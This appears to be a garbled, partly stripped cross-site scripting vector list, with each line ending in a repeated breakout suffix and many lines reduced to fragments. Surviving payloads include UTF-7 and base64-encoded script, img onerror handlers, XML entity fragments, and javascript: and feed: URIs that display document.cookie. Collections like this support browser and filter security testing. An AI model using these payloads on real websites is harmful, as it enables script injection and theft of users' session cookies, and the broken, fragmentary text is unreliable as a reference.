>>> vectors()
//["'`-->]]>]
&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]
&alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]
0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
X//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]






...



//["'`-->]]>]
01//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
X//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
¼script ¾alert(19)//¼/script ¾//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
1//["'`-->]]>]
;1//["'`-->]]>]
+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]
//["'`-->]]>]
1//["'`-->]]>]
]]>]
//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
XXXXXX//["'`-->]]>]
1//["'`-->]]>]
1//["'`-->]]>]
XXX//["'`-->]]>]
//["'`-->]]>]
//["'`-->]]>]
><image xlink:href="//["'`-->]]>]
//["'`-->]]>]
  • //["'`-->]]>]
    XXX//["'`-->]]>]
    Hello //["'`-->]]>]
    X//["'`-->]]>]
    XXX
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    alert(57)//0//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    //["'`-->]]>]
    // O10.10↓, OM10.0↓, GC6↓, FF // IE6, O10.10↓, OM10.0↓ // IE6, O11.01↓, OM10.1↓//["'`-->]]>]
    ]>&x;//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    ]>//["'`-->]]>]
    XXX //["'`-->]]>]
    //["'`-->]]>]
    x
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    &x;//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    PRESS ENTER
    //["'`-->]]>]
    [A] "> "> "> [B] "> [C] [D] <% foo>//["'`-->]]>]
    X
    //["'`-->]]>]
    X
    //["'`-->]]>]
    alert(94) //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    X
    //["'`-->]]>]
    XXX//["'`-->]]>]
    //["'`-->]]>]
    XXX//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    `><img src=xx:x onerror=alert(108)></a> `><img src=xx:x onerror=alert(2)// `><img src=xx:x onerror=alert(3)////["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    X
    //["'`-->]]>]
    X
    //["'`-->]]>]
    XXX
    //["'`-->]]>]
    XXX//["'`-->]]>]
    //["'`-->]]>]
    x
    //["'`-->]]>]
    //["'`-->]]>]

    Drop me

    //["'`-->]]>]
    //["'`-->]]>]
    Spam//["'`-->]]>]
    //["'`-->]]>]
    Some text www.example.org //["'`-->]]>]
    // Safari 5.0, Chrome 9, 10 // Safari 5.0//["'`-->]]>]
    ]> //["'`-->]]>]
    //["'`-->]]>]
    alert(127) //["'`-->]]>]
    //["'`-->]]>]
    CLICKME CLICKME CLICKMEhttp://http://google.com //["'`-->]]>]
    drag and drop one of the following strings to the drop box:
    jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
    feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
    feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b>
    feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//
    + Drop Box +
    //["'`-->]]>]

    //["'`-->]]>]
    //["'`-->]]>]
    <% %></xmp><img src=xx:x onerror=alert(134)// %>/ alert(2) XXX -->{} *{color:red}//["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]
    //["'`-->]]>]